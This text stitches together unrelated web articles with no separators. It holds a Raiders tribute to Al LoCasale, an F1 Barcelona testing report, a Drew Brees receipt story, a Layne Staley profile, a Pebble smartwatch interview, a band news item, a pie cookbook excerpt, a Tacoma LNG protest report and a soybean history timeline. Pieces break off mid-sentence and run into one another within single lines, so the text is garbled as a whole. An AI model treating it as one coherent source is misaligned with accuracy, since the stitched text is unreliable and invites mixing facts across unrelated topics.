“At that moment, I thought, `I am a Raider now...he took care of me because I’m a Raider,” Trask said.
Many a reporter was called to the carpet for criticizing the Raiders and/or Davis.
“If he felt like you crossed the team, he would definitely let you know from an Al Davis and a Raider point of view,” former Raiders exec John Herrera said. “He was a bulldog, a watch dog, and he took it very personally if people got on the wrong side of the team.”
LoCasale and Davis were of a like mind in terms of commitment.
“Working with Al could be challenging because he as very demanding and committed to doing things a certain way,” Herrera said. “You needed to be aware of that, and that you needed to be available at all times _ just like you were for Al Davis. He didn’t understand anyone who didn’t love being there, and being there at all times. He expected people around him and anyone who worked with Davis to be as committed and dedicated as he was.”
LoCasale’s fingerprints were all over the Raiders yearly highlight films by NFL Films, as he worked closely with editors to insure that virtually every name of the roster _ even of the most obscure players _ be mentioned and that Raiders philosophies and slogans were used.
The first interaction between LoCasale and Davis was in the 1950s at the University of Southern California, Davis as a football assistant and LoCasale as an administrative aide to the head coach.
Both worked with the Los Angeles Chargers and Sid Gillman with the Los Angeles Chargers, and LoCasale served in the front office of the Cincinnati Bengals expansion franchise under the direction of Paul Brown.
“Few people in this field have been as fortunate as I have,” LoCasale said when he retired from fulltime duty with the Raiders in 2003. “All three of the legendary principals I have worked with – Al Davis with the Raiders, Paul Brown with the Bengals and Sid Gillman with the Chargers – earned their way into the Pro Football Hall of Fame. If a man is truly measured by the company he keeps, then I have been surrounded by giants.”
Although football dominated much of LoCasale’s life, he was well-versed on the military (he coached at the U.S. Naval Training Center while on active duty), theater, movies and the arts.
“I realized early on that he was a guy with a wealth of knowledge that extended beyond the football field,” said Raiders community relations director Mike Taylor. “Those are the things that stuck with me when I was thinking about him last night.”
Trask said that in terms of football, “Al really contributed to my knowledge of the game. One thing that annoyed him was being extremely critical of a player when at times it was simply that a player on the other side had made a great play. Those observations have stuck with me to this day.”
LoCasale owned a home in the East Bay and lived part time in an El Segundo hotel when the Raiders moved to Los Angeles in 1982. He eventually purchased a home there, and ended up living in an Oakland hotel when the club moved back to Oakland in 1995.
LoCasale is surived by his wife Jananne and his sons Nicholas and Alexander.Nico Rosberg headed the time sheets at the end of the first day of testing in Barcelona. Rosberg completed only 54 laps after a gearbox issue limited his running in the morning but still managed to narrowly beat Kimi Raikkonen for the lead.
Kimi Raikkonen’s day was not perfect either. He put together merely 44 laps (the least for any driver on Tuesday) after a telemetry data-logging issue with his E21. “It wasn’t an ideal day in terms of the number of laps we completed, but the car feels strong and we’ve made some good progress,” the Finn concluded.
Fernando Alonso, who was third after Rosberg and Raikkonen, also seemed pretty relaxed in his testing debut. The Spaniard was by far the busiest driver on the track with 110 laps for the day. Alonso is trying to catch-up on time behind the wheel as he missed the first four days of testing on Jerez.
Alonso was positive that the car felt similar to the final specification of its predecessor F2012. Ferrari’s 2012 challenger caused quite a bit of headache to the Spaniard and his Brazilian teammate Felipe Massa in the beginning of last season. “Last year when we drove for the first time we were a little bit surprised on the bad side,” Alonso reminisced.
Sebastian Vettel felt the same way about his third testing day in RB9. “What we have here is more or less the car we had in Brazil, just another step forward. I think we improved the car a lot last season though so I’m much happier this year here than I was last time.”
The German spent a long period during the Tuesday testing session on top of the time sheets, but Raikkonen, Rosberg and Alonso managed to best his time at the closing stages of the testing day. This is the fifth day of testing in which RB9 has failed to finish on top of the table.
Vettel, however, warned against the media and the fans reading too much into this: “This circuit has always been a good indicator of whether you have a good car or not but at this stage it’s still very difficult to judge what we do compared to the rest. To be honest we’re not that bothered. We have plenty of stuff going on in our garage.”
Alonso, Vettel and Rosberg are all resolved to work on tyre degradation understanding. Ferrari, Red Bull Racing and Mercedes (especially) all had problems with tyre wear in the early stages of 2012 and none of those teams wants to be caught out by Pirelli’s new compounds in 2013.
Caterham and Williams, however, might be facing a different kind of problems. Both teams are believed to be using an additional exhaust element that directs the airflow to improve the aerodynamics. Such an element might be deemed illegal.
Pastor Maldonado’s spirit did not seem worried by the accusations towards his Williams. “There is an improvement, a big one. It’s a step forward. We have good data here from last year so I confirmed a step in performance. The car seems to be very comfortable on the track. I’m very happy because it’s the best car I have [driven], especially in the first test. Last year’s car was good, competitive all through the year, but I think there is a clear step forward on this car.”
On Wednesday the testing resumes and Lewis Hamilton will replace Rosberg in W04.
Barcelona Testing Day 1:
1. Nico Rosberg, Mercedes, 1:22.616, 54 laps 2. Kimi Raikkonen, Lotus, 1:22.623, 44 laps 3. Fernando Alonso, Ferrari, 1:22.952, 110 laps 4. Sebastian Vettel, Red Bull, 1:22.965, 66 laps 5. Pastor Maldonado, Williams, 1:23.733, 86 laps 6. Daniel Ricciardo, Toro Rosso, 1:23.884, 73 laps 7. Sergio Perez, McLaren, 1:24.124, 77 laps 8. Paul di Resta, Force India, 1:24.144, 82 laps 9. Esteban Gutierrez, Sauber, 1:25.124, 68 laps 10. Max Chilton, Marussia, 1:26.747, 65 laps 11. Charles Pic, Caterham, 1:27.534, 49 laps
Source: Motorsport.com, Planet F1, Autosport, F1 Minute, FOM, Fox SportArmed with a black ink pen and presumed frustration, Drew Brees tipped three bucks on a $74 bill.
Cue Internet outrage in 3...2...
UPDATE: Wednesday, July 31, 11:15 a.m. ET
Drew Brees has answered in kind with the following tweet, answering once and for all that this was indeed a take-out order, as we noted in our initial report.
To reiterate from the first report, Brees tipped when he didn't have to, and when most wouldn't fathom to. Let those who have tipped at the drive-thru cast the first Internet barb.
Yeah, didn't think so.
End of Update---
Update: Tuesday, July 30, 5:20 pm.m ET
As we note below, the receipt is most likely that from a take-out order. Dan Schreiber, a managing partner of the restaurant, released an apology and explanation you can read here.
End of Update---
The Dirty (h/t Sports Kings) spotted the latest image that proves star athletes who make millions can stiff waiters and waitresses like the rest of us.
Here is a picture of a receipt that speaks for itself.
Yeah, I know. This waitress just got Brees' autograph and three dollars! What a lucky duck.
Oh, that's not why we are all flipping out at the moment?
According to the report, the receipt pictured comes from Del Mar Rendezvous, and the image may have had the person named Carissa in some hot water.
Here is what The Dirty had to offer in an update to their initial story.
I want to make it every clear to management at Del Mar Rendezvous that Carissa DID NOT submit this receipt of cheapo Drew Brees. Contacts at the restaurant have told me you will be meeting with her tonight to discuss termination. Drew Brees is the 3 dollar tipper, don’t fire her because of his actions.- nik
I will give every last one of you a few seconds to stomp around the house and throw your Brees jersey across the room while you scream, "Why, Drew? Why?!?!"
Now that you have that out of your system, we can temper this story that's on the verge of spreading across the Internet like a wildfire.
First, we noticed this tweet from Nik Richie who writes The Dirty.
Huzzah, Carissa still has a job, and this story may be much ado about take-out.
The Blaze reports they actually spoke with the manager of Del Mar Rendezvous, Dan Schreiber. It seems that this particular receipt, one that isn't even verified to belong to the same Brees we are all thinking about, came from ordering take-out.
“I can’t verify the authenticity of this receipt,” he said. But he added: “I just can say that if this was an authentic receipt, just looking at it, I can tell it’s take-out order and that that would be a generous tip.”
The Blaze also had a breakdown of the signature next to some verified Brees autographs, leading to the assumption that this was indeed the star QB.
With all that being said, it seems like Brees decided to call in an order and pick up the food himself, and still managed to throw a few extra bucks to the person who simply bagged up the food.
And it seems like someone at the restaurant saw the receipt and decided to start a silly controversy. If you are truly mad at Brees, go ahead and tip 20% the next time you go through the drive-thru.
So Brees is either a swell gentleman who gave some bucks when he really didn't need to, or he is a horrible person who leaves bad tips and laughs maniacally as he leaves the restaurant.
I am willing to give Brees the benefit in this take-out receipt scandal.
Hit me up on Twitter: Follow @gabezalThe Alice In Chains frontman's tale is a tragic one, but the warning signs were always there in his music...
#450844807 / gettyimages.com
There's an age old saying that goes - give a self-destructive man enough power and eventually he'll destroy himself. Such an individual was Layne Staley. As the lead singer for Alice in Chains he came up with arguably the most intelligent and literate songs of the entire genre. Drug abuse, depression and self-harm were all regular topics in Chains' songs. For Staley, however, they were no works of fiction. Like reels from a creepy home movie, he was actually describing the demons in his own life.
Forming the band in 1987, Staley had quickly rose to prominence by the early nineties by hitching a ride on the grunge movement. His authentic lyrics and distinctive singing style made Alice in Chains stand out from other metal bands. There was a sadness to him too. He came from a broken home and his father had been a drug addict. Staley's openness in interviews about the subject were brutally frank. Much like another grunge hero, Kurt Cobain, he had been deeply affected by his parents’ divorce too. It haunted him. His only outlet for anger was in his words.
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Despite the fact that guitarist Jerry Cantrell wrote virtually all of Alice In Chains music, Staley was as much an equal songwriting partner. It was a thrilling combination of sonics and a sonnet. Ignoring the pantomime nihilism of heavy metal, their debut album 'facelift' sold two million copies. It was a huge return for a band that were actually breached between the two barriers of alternative rock and heavy metal, although such a blurred line seemed to help not hinder them.
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In 1992 however, the band were to release a masterpiece. From its harrowing cover art it was obvious 'Dirt' was not happy record, but just how tortured a soul Staley had become by then was obvious to see. Heavily using Heroin by now, it was one long anguished howl of a record about the pain of drug addiction. It resonated both with critics and fans and went on to sell 4 million copies. It spawned five top thirty hits and put Alice In Chains in the superstar status of rock and roll bands. Successful tours followed.
At this time Staley seemed able to still operate despite his habits. For the next three years in fact he was pretty much a working addict. With his band he went on to record a highly acclaimed acoustic EP ('Jar of Flies') and on his own formed a super group with members of a Pearl Jam and the Screaming Trees (Mad Season). The Chains also toured extensively, although Staley's addiction sometimes clashed with the odd date - at this time they were able to carry out their contractual obligations.
Following the release and subsequent success of their eponymous third album however and a critically acclaimed performance on MTV's unplugged series things began to go terribly wrong for Layne Staley. His habits were kicking him hard. Following the death of his ex-girlfriend Demri Parrot from bacterial endocarditis, Staley, at the time talked frankly about the hell he was going through.
“Drugs worked for me for years and now they're turning against me. Taking me to hell.”
After this Rolling Stone interview in fact, Layne Staley became an almost recluse. For almost two years no one saw him, although after this period he did appear sporadically to lay down tracks with the band, and record a track for the movie the Faculty. At lot of people however were shocked by his deteriorating appearance, he was translucent almost. So bad in fact that it was rumoured at least one music magazine had his obituary already written on stand-by.
This was now Staley's cue to disappear from the public eye completely and for the next three years what occurred was the longest and most harrowing demise in rock history. Locking himself away from everybody it was rumoured he would spend his days shooting up and playing video games. Horrible rumours would spring up in the media talking about gangrene and missing digits. In his final interview of 2001 he painted a horrible picture of his lifestyle.
“I know I'm near death. I did crack and heroin for years. I didn't want it to end this way.”
It was to prove prophetic. In April 2002, Staley's accountants contacted Staley's mother telling her that no money had been drawn out of his account in 7 days. (Strange for him). She immediately phoned police who arrived at his door and broke it down. There they found the singers lifeless body surrounded by two crack pipes and a small of Cocaine. When he died he weighed an astonishing 86 pounds.While Google and Apple have been getting the lion's share of attention for smartwatches lately, indie darling Pebble has been quietly soldiering on, improving its product and selling watches. In an exclusive interview, CEO Eric Migicovsky revealed that the company shipped its one millionth Pebble on December 31st of last year. That's more than double of what Pebble reported in March, indicating that price cuts and new feature additions later in the year successfully boosted sales figures.
Pebble's biggest and most visible competitor so far has been Google's Android Wear, which launched in the middle of 2014 and is found on devices from Motorola, Samsung, LG, Sony, and Asus. Google has yet to reveal how many Android Wear watches have been sold in the six months or so it has been on the market, so it is difficult to determine if the platform is a success or not. Samsung allegedly shipped 800,000 of its Galaxy Gear smartwatches back in 2013, but the company has been mum on more recent figures.
The new software platform will be unlike anything before it
According to Migicovsky, Pebble plans to carry its momentum through 2015 with new products and a new software platform that is unlike anything else used on smartwatches to date. While Google and Apple's smartwatches have been focused on app paradigms, similar to smartphones, Pebble's new software will apparently be quite different. "We’ve found a new framework to use as an interaction model on the watch," boasts Migicovsky, before adding that while apps will continue to exist on Pebble, they won't be the main focus of the platform. "It doesn't look like what we have today, and it doesn't look like what's on your smartphone," added Migicovsky. Following the launch of the Pebble Steel in January, the company used 2014 as an "investment year," increasing its headcount from around 30 to over 100 and bringing aboard some of the webOS TV design team from LG, many of whom have been tasked with building the new software platform.
Pebble will need all the help from developers it can get
Though Pebble has seen a good amount of success thus far, 2015 will most certainly present challenges for the company, most notably the launch of Apple's Watch in April. Google has been quickly iterating on its Android Wear platform, as well, and its partners are likely to bring second- and third-generation Android Wear smartwatches to market this year. Pebble has had a lot of success garnering support from third-party developers, with activity doubling since September. The company launched a web-based emulator just this month, which lets developers build and test apps without having to install any software on their computers. There are now 6,000 apps and watchfaces on the current platform, and Pebble says it has nearly 25,000 developers contributing worldwide. If Pebble is to continue standing its ground against Apple and Google, it will need all the help from those developers it can get.
Migicovsky would not divulge further details on the company's hardware and software plans, telling us that we'll have to wait until later this year to see what the company has up its sleeve. The war for your wrist is just getting started, and 2015 is shaping up to see some intense battles go down. With 1 million sales under its belt and a new platform to ride on, Pebble is gearing up for the fight.1 of 1 2 of 1
Vancouver is losing a couple of its busiest garage rockers, as Tough Age members Jarrett K. and Penny “Agamemnon” Clark are moving to Toronto.
Clark has been working in Ottawa for the last couple of months, and she and Jarrett will head to Hogtown in October. Despite the distance, Tough Age isn’t breaking up. “I’m not starting a new band or anything; we’re still working on this,” frontman Jarrett told the Straight. “We’re just going to do a lot of trips back and forth.”
Tough Age has already completed half of its sophomore album with producer Felix Fung at Little Red Sounds. The band will complete the sessions next month, with the release scheduled for early next year. Jarrett and Clark will say goodbye to Vancouver when Tough Age plays a going-away show on October 17 at a to-be-announced location.
“It’s going to be a ton-of-bands, all-night-blowout sort of thing,” Jarrett promised.Let us all thank Allison Kave’s boyfriend who suggested she enter a Brooklyn, NY pie making contest – because she won and has been bringing us great pie ideas ever since. Her first book, First Prize Pies: Shoo-Fly, Candy Apple, and Other Deliciously Inventive Pies for Every Week of the Year (and More), gives us classics like her take on apple and black bottom pie, but also – wait for it – she also recommends building pie stacks. In one image she has a Toasted Coconut Cream right on top of a Pineapple Pie. Both pies are unmolded and you slice them like a layer cake! You get big mouthfuls of each pie in every bite! This alone is reason to buy the book. I snapped a pic (of the pic!) for you here below. I bet your mouth is watering…
I wasn’t the greatest Girl Scout. I didn’t get all the cool badges, and I don’t know much about building fires or constructing canoes, but I was an expert when it came to those cookies. My favorites by far were (and are) the Samoas – full of toasty coconut, gooey caramel, buttery shortbread and rich chocolate, they are heavenly. (Pro tip: They’re even better out of the freezer!) I knew I had to make a pie version of this perfect cookie, so the caramel (my favorite part) could be the star of the show. This is pure nostalgic goodness; no uniform required.
Excerpted from First Prize Pies by Allison Kave( Stewart, Tabori & Chang) Copyright 2014. Photographs by Tina Rupp.“We feel like we are back in the 1800s,” said a Tribal Council member after self-described “protectors” blocked access and turned away some workers at the plant site Monday. She said the tribe opposes the new plant as a threat to its lands, waters and people.
About 200 opponents sought to shut down access Monday to Puget Sound Energy’s (PSE) construction of a $310 million liquefied-natural-gas (LNG) plant at the Port of Tacoma.
Some workers made their way into the plant Monday morning, but others had been turned away as self-described “protectors” blocked access to a road to the construction site. The actions continued into Monday afternoon, with no injuries or violence reported, said Loretta Cool, spokeswoman for the Tacoma Police Department. Two arrests were made for misdemeanor offenses, including blocking traffic, she said.
“We are keeping it peaceful and prayerful,” said Puyallup tribal member Dakota Chase, who with the other opponents was at the site before dawn to attempt to stop work by chaining themselves together in front of gates to the worksite.
“The Puyallup Tribe opposes the siting of this facility,” said Puyallup Tribal Council member Annette Bryan, who joined in the action. The tribe was not meaningfully consulted about the project, Bryan said, which the tribe opposes as a threat to its lands, waters and people.
“This is right next to our fish, our waters, our air, and within minutes of where our residents live,” Bryan said. “We were never involved in any meaningful way by the city, the port or the company. We feel like we are back in the 1800s.”
The company says its plant will help provide cleaner-burning fuel for the maritime industry and has been through years of public process.
But Bryan said the project also undermines years of work by the tribe to help clean up the Superfund site of Commencement Bay.
“To have another industrial site here is just unthinkable.”
The protest, followed on social media at #noLNG253, was organized by a coalition of environmental activists and Puyallup tribal members, who succeeded in turning away workers from the 35-acre tract.
“There will be resistance to this getting built, every step of the way,” said Alex Connon, a climate activist with 350 Seattle, which helped to organize the protest. “This is very much the beginning rather than (the) end.”
Earlier protests included a Dec. 11 action, when two people who chained themselves to a construction crane were arrested. Last Thursday, activists perched on top of tripods to temporarily block the front gates to the project.
The plant is scheduled to begin operations in 2019 and will be able to produce some 250,000 gallons of the liquid fuel daily through a process that involves chilling the gas. In liquid form, gas takes up only a small fraction of the space otherwise required and thus can be more easily stored.
PSE officials say the plant will provide a cleaner-burning maritime fuel to TOTE Maritime, which is converting two vessels that carry cargo from Washington to Alaska to operate on liquefied natural gas. The new fuel produces 30 percent less greenhouse-gas emissions and 90 percent less particulate-smoke emissions than the maritime bunker fuel it will replace, according to a PSE project statement.
Up to 8 million gallons of liquefied-fuel natural gas also will be stored at the site, and it could be warmed and put back into transmission lines to serve residential and business utility customers during times of peak demand.
PSE officials have said that the plant can operate safely and that another PSE liquefied-natural-gas facility has operated for more than a decade at Gig Harbor without a serious accident.
Opponents’ concerns include the risks of an explosion. And they argue against the utility’s making new investments in natural gas at a time of increased concerns about climate change and fossil-fuel emissions.
The “proposed LNG plant poses significant and potentially catastrophic threats not just to our fishing rights and resources, but to our homeland, people and neighbors,” wrote Bill Sterud, chairman of the Puyallup Tribal Council in a column published earlier this month in The (Tacoma) News Tribune.
Rather than convert ships’ engines to run on natural gas, opponents have proposed that TOTE reduce emissions through the use of low-sulfur petroleum fuels.
PSE has been planning the Tacoma plant for years.
In 2016, the Tacoma project took a big step forward in 2016 when the Washington Utilities and Transportation Commission gave the green light to create a PSE subsidiary that will own and operate the facility in a business separate from its regulated utility operations.
The project is subject to a lengthy permitting process involving numerous government regulators.
PSE is currently at odds with the Puget Sound Clean Air Agency for starting construction without first obtaining an “order of approval” for a new emissions permit.
Steve Van Slyke, the agency’s compliance director, said the liquefied-natural-gas plant would be a moderate emitter of pollutants. Back in the spring, the agency issued a notice of violation for failing to get the permit, and it remains an open enforcement case, according to Van Slyke.
Since then, PSE has submitted an application for the emissions permit, which could be issued in 2018.
“We have to comply with air regulations, and we will,” said Grant Ringel, a PSE spokesman. Ringel also said the project had been vetted through an environmental-impact statement with a public process that ended in 2015, and subsequent public hearings.
Since issuing the notice of violation, the Puget Sound Clean Air Agency has not tried to shut down work at site. But PSE would not be able to operate the facility if it fails to get the permit.
“Any work that PSE has done, or continues to do, is at their own risk,” wrote Van Slyke in a Sept. 25 |
1867, it was recorded that exports from Manchuria mostly to south China included 61,200 tonnes of soybeans, 71,100 tons (tonnes) of bean cake (left over after pressing out the oil), and 3.07 million pounds of soy oil. At this time the chief soybean producing area was the rich Sungari valley.
Margarine was invented in France by Mege-Mouries in 1868.
Prior to 1868, all soy oil was extracted by traditional hand-driven implements. In that year the first mill came into being.
AD 1869: The earliest known mention of the soybean in the Philippines was by Pierre, who stated that the plant was cultivated there.
In 1869, J.I. Pierre noted that the soybean was grown in Cochin China near today’s Saigon.
In 1869, G.M. Martens did an elaborate classification of the soybean according to seed shape, but this was of little value botanically or agronomically.
From the early 1870s until 1900, Austria was one of Europe’s leading centers of work relating to soybeans and soyfoods.
The period from 1870 to the late 1880s was a time of great taxonomic confusion for soybeans.
During the late 1870s and early 1880s, Count Henri Attems did many experiments growing soybeans in Austria. He liked soybeans served in salads and was the first person to observe that adding baking soda to soybean cooking water greatly reduced the cooking time.
In 1872, the first margarine plant started in Germany.
In 1872, Senft in Germany published one of the earliest chemical/nutritional analyses of soybean seeds (only Fremy’s in 1855 in France was earlier), which was publicized by Haberlandt in Austria after 1877.
The earliest known reference to soybeans in Russia was in 1873, when the Russian botanist Maximowicz proposed that the cultivated soybean be named Glycine hispida, and that the wild soybean was the ancestor of the cultivated one.
AD 1873: The first large-scale effort to expand soybean cultivation in Europe and to encourage commercial soybean production was undertaken by Professor Friedrich Haberlandt of Vienna.
In 1874, the American Agriculturalist first referred to the soybean plant as the Soy Pea ( Glycine soja ), which it distinguished from the Japan pea.
In 1874, Hoffmann wrote the first Western journal article about shoyu production.
In an editorial in the American Agriculturalist of 1874 on soybeans, L.L. Osment of Cleveland, Tennessee stated that they were “unsurpassed for table use.”
Pioneering soybean research was done by the German Ritter (1874) in Japan. He wrote about yuba, tofu, and soymilk.
From 1874-1891, the Netherlands was the world’s leading margarine manufacturer.
In 1875, the Dutch lexicographers Gericke and Roorda, in their Javanese-Dutch Dictionary titled Javaansch-Nederduitsch Handwoordenboek, made the world’s earliest known reference to tempeh, an Indonesian fermented soyfood.
Soyfoods made their first appearance in Russia around 1877, when Horvath (probably the father of Dr. A.A. Horvath) made soy coffee and marketed it in South Russia.
Soy coffee was first referred to in 1877 by the Austro-Hungarian Haberlandt.
The earliest known attempt to grow soybeans in Russia was in 1877, when Haberlandt sent at least one variety to a cooperator in Podolia (also called “Russian Poland” by early writers).
The first culture trials and varietal tests with soybeans in the Netherlands took place in 1877, when Haberlandt in Austria-Hungary sent some soybeans to a cooperator in Holland.
Roasted soy flour and soy chocolate were first referred to in 1878 by the Austro-Hungarian Haberlandt.
Following Haberlandt’s untimely death in 1878, interest in soybean experiments waned and they did not attain the place in European agriculture that he had hoped for, in part because they were not well adapted to most European climate.
In 1878, soybeans obtained from Vienna and Bavaria, probably beans from Professor Haberlandt’s experiments, were grown at the Rutger’s Agricultural Farm in New Jersey.
Dr. Friedrich Haberlandt’s classic 118-page book Die Sojabohne, published in 1878, reported in detail on his work with soybean culture in Europe and discussed many European applications of soyfoods.
Pioneering work with soybean cultivation in Germany (primarily in Bavaria in southern Germany) was done in the late 1870s by Prof. Julius Lehman, Director of the Bavarian Agricultural Research Station in Munich and by Prof. Braungart in Weihenstephen.
Pioneering soybean research was done by the German Langgaard (1878) in Japan.
Early German research on the shoyu mold Aspergillus oryzae was done by Korschelt (1878).
In 1878, Langgaard discussed tofu.
In 1878, the Austrian soybean agronomist Haberlandt reported that in 1877 he had been sent a sample of a soybean plant from Tirol, where it had long been grown and was known as the “coffee bean.”
In 1878 and 1881, Atkinson, an Englishman and Professor of Analytical and Applied Chemistry at Tokyo University, wrote several early articles on koji and its use in making shoyu (and sake) in Japan.
Early German research on the shoyu mold Aspergillus oryzae was done by Ahlburg (1878).
In 1879, a long translation of portions of Haberlandt’s article “On the Cultivation of the Hirsute Soja Bean” is presented in a report that serves as the first reference to soybeans having been tested at a scientific agricultural college in the United States.
In 1879, Dr. Ernst Wein wrote a 20-page article on soybean cultivation in Bavaria.
In 1879, Cook, in the first report on soybeans by a US university (Rutgers, New Jersey) included a translation of an article on soybeans from Munich, which mentioned food uses: “... a plant whose pleasant-tasting seeds are rich in albumen and fat, in very digestible forms... Its seeds, boiled or roasted, have a pleasant taste, and form an almost daily part of the food in India, China, and Japan.” This was the first US mention of roasted soynuts.
In 1879, Prof. Edward Kinch of Cirencester gave a nutritional analysis of shoyu and discussed the amount of shoyu produced in Japan and its uses in England and America.
In 1879, Cook, of Rutgers in New Jersey, was the first to call the soybean plant “the soja bean,” which remained the most popular term until the early 1890s, but was not used after 1898.
Until about 1880, soybeans continued to be regarded as a botanical curiosity from the Orient.
Starting in the early 1880s, many early publications on soyfoods and soyfoods nutrition began to appear in German publications such as Chemiker-Zeitung, Chemisches Zentralblat, and Centralblatt fuer Bakteriologie, to name a few.
In 1880, the Society for Acclimatization in France first made a soyfood from soybeans: tofu.
In 1880, Pellet of France was the first to note that the soybean contained little or no starch.
In 1880, Stingl and Gruber were issued a patent for use of soybeans and their enzymes in the manufacture of yeast.
In 1880, Edmond Blaskovics published a book entitled The Soybean: Its Culture, Use, and Worth as Fodder.
During the 1880s and 1890s, soybeans were tested throughout the US, mostly at university agricultural experiment stations.
In 1880, inspired by the work of Haberlandt with soybeans and soyfoods in central Europe, Paillieux published his landmark 117-page Le Soya.
In 1880, Vilmorin-Andrieux & Co., one of Europe’s most famous seed companies, first offered soybeans for sale in their seed catalog.
In 1880, the Society for Horticulture at Marseilles reported that it was making red and white wine-fermented tofu.
In 1881, McBryde at the University of Tennessee was the first to use the modern term “the soybean” spelled as one word.
Pioneering soybean studies were published by Levallois in France (1881).
In 1881, Dr. Ernst Wein published an excellent 50-page report of practical instructions for prospective soybean farmers and the latest compilation of his research findings.
Records show that the soybeans were introduced to South America via Brazil in 1882.
In 1882, soybeans sent from Hong Kong were grown on the Saidapet Experimental Farm in Madras, but the yield was small.
The earliest known reference to the soybean in Brazil was in 1882, when Gustavo D’Utra, an agronomic engineer, wrote a four-page article on “Soja” and mentioned that he had introduced soybeans to Bahia.
In 1882, Prof. Edward Kinch published the first chemical/nutritional analysis of miso (two types) plus analyses of tofu, frozen tofu, and defatted soybean meal.
In 1882, Dabney of the North Carolina Agricultural Experiment Station, in the longest and most detailed US report on soybeans to date noted: “Owing to its peculiar composition, containing so much proteins and fat and no starch, it is best prepared with other things to supply the starch, such as potatoes or rice. Prof. Hecke of Vienna highly commends a dish prepared by boiling these beans and potatoes separately, mashing them, mixing one part of the beans with two of the potatoes and seasoning to taste. He thinks that the beans contain so much fat, that no milk or butter needs to be added to this dish.”
The first Westerner to inquire into the origins of the soybean (and many other plants) was the great French botanist Alphonse de Candolle. In his classic book Origin of Cultivated Plants (1882, 1885), he drew on many types of evidence to conclude (correctly) that the soybean had originated in East Asia.
Pioneering soybean studies were published in Germany by Meissl and Boecker (1883).
In 1883, Sturtevant first reported that soybeans had been grown at Cornell University, which would later become a pioneer in soyfoods research.
In 1883, Meissl and Boecker published the most extensive analysis to date of the chemical/nutritional composition of the soybean seed, and the earliest known analysis of the composition of soy oil.
In 1884, Paillieux and Bois wrote an important work, Le Potager d’un Curieux, which contained information about soybeans and soyfoods.
Early German research on the shoyu mold Aspergillus oryzae was done by Cohn (1884).
Sweden’s first margarine plant started in 1884.
In 1885, Paillieux reported that the soybean had a number of vernacular names; it was called Gari-Kulay in Bengali, Bhat in Hindustani, and Bhatwan in Sinhalese.
In 1885, The Vegetable Garden by Vilmorin-Andrieux & Co. in Paris was published in an English translation with good information about growing soybeans.
In 1886, Stingl and Morawski gave the most detailed information to date on the physical and chemical/nutritional properties of soy oil and of an amylolytic enzyme on soybeans.
In 1886, Paillieux, after analyzing soybeans and finding that they contained no starch, first advocated their use in diabetic diets.
In 1886, Dr. Oscar Kellner published on the digestibility of soybeans and soybean hay as a fodder for sheep.
In 1886, Giammaria of Italy wrote about soybeans and their uses.
In 1886, the firm Julius Maggi & Co. in Kempttal became the first company in Europe to make a soy-sauce-like seasoning, which also contained the world’s first hydrolyzed vegetable protein (HVP).
In 1886, the British etymologists Yule and Burnell published Hobson-Jobson: A Glossary of Colloquial Anglo-Indian Words and Phrases; a second edition was published in 1903. This work contained six early references to soy sauce or shoyu, five of them prior to 1800, plus an etymology of the words “soy” and “shoyu.”
In 1886, J.J. Rein, a professor of geography, wrote The Industries of Japan, based on many years of travel and research there. He stated that of all the legumes grown in China or Japan, the soybean was the most important in terms of its value, uses, and number of varieties. He described in detail the production of tofu, miso, and shoyu, mentioned the food value of mature soybeans, and was the first to compare soy and animal proteins, stating: “In point of nutriment, the soy-bean is of all vegetables nearest to meat.” His book was published in English in 189
In 1887, Stingl and Morawski reported on the sugars in soybeans and the iodine number of soy oil.
In 1887, Mori and Kellner studied the digestibility of diets containing tofu.
In 1888, Blondell, the first soybean physiologist, did detailed studies and illustrations of the anatomy and physiology of the soybean seed; he confirmed that it contained no starch.
In 1888, Kellner did the world’s first scientific feeding experiments using a defatted soybean meal, feeding the meal to swine in Japan.
Okara was first referred to in 1889 by the German Kellner.
In 1889, England’s first margarine plant was built at Godley, Manchester, by the Dane Otto Monsted.
In 1889, Dr. Oscar Kellner wrote a short article about tofu, which contained the first nutritional analysis of tofu and the West’s first mention and nutritional analysis of okara (soy pulp).
In 1889, Schulze and Steiger in Zurich published the earliest known reference to the presence of lecithin in soybeans.
In 1889, Dr. Oscar Kellner and two Japanese scientists published their classic 24-page article on the composition and manufacture of miso, which contained a description and nutritional analysis of four types of miso.
In 1889, Schulze gave a detailed nutritional analysis of etiolated soy sprouts, the earliest known reference to soy sprouts in the West, although he was referring to soybeans sprouting in a field, not food-use sprouts.
In 1890, Watt, for the first time, reported that the soybean was extensively cultivated throughout India and in eastern Bengal, the Khasi Hills, Manipur, the Naga Hills, and Burma, often found as a weed in fields or near cultivation. Watt noted that, even among aboriginal tribes, this plant had numerous vernacular names, which were not modern derivations, indicating a more ancient origin of cultivation than had previously been thought.
Probably the first country in Latin America to make active use of soyfoods was Suriname. Javanese began to emigrate there in 1890; most worked as small farmers.
Soy flour was first referred to in 1891 in the Netherlands.
In 1891, Georgeson and co-workers of the Kansas State Agricultural Experiment Station noted that “The bean takes its common name, ‘Soy,’ from a sauce manufactured from it, which in commerce goes by the name of ‘Soy,’ though the Japanese name for this sauce is ‘Shoyu’... the delicious brown sauce so common in Japan, and which forms the basis of the best sauces in this country... Sometimes (the beans) are eaten green when nearly full grown; they are boiled in the pods and shelled at the meal.”
From 1891 until about 1951, except during World War II, Germany was the world’s leading margarine manufacturer.
Many soyfoods articles in the prestigious Bulletin of the College of Agriculture of Tokyo Imperial University, starting in 1893, were published in German, and written by both Japanese and German authors.
In 1893, soybeans were exhibited as a botanical curiosity at the spectacular Chicago World’s Fair.
In 1893, the Russian-German Bretschneider, in his Botanicon Sinicum, gave extensive information about soybeans and soyfoods in China and was the first Westerner to link Liu An of Huai-nan with the discovery of tofu.
In 1893, Flagg and Towar of the Rhode Island Experiment Station noted that soybeans were “used for preparing a well-known brown and slightly salty sauce (Soy) used both in Asia and Europe for flavoring certain dishes, especially beef, and supposed to favor digestion.”
Natto was first referred to in 1894 by the Japanese Yabe.
By 1894, a soy-based bread called “Asian Bread” was being made at Baune, France.
In 1894, Schulze and Frankfurt first reported the presence of sucrose in soybeans.
In 1894, de Negri and Fabris published the first Italian report on soy oil.
In 1894, Yabe in Japan published the first information about natto in a European language (German and English).
Sino-Japanese War (1894-95): After winning the war, Japan became the principal market for Manchurian exports, especially soybean cake, which was used as a fertilizer on rice paddies.
In 1895, Brooks of the Massachusetts Hatch Agricultural Experiment Station was the fist American to use the British term “soya beans.”
In 1895, Kellner wrote about the production of shoyu and miso, one of the best studies to date on koji, shoyu, and the Japanese shoyu industry.
AD 1895: The first mention of soyfoods in Java was by Prinsen Geerligs, who discussed tempeh, tofu, taucho (a sort of miso) and soy sauce.
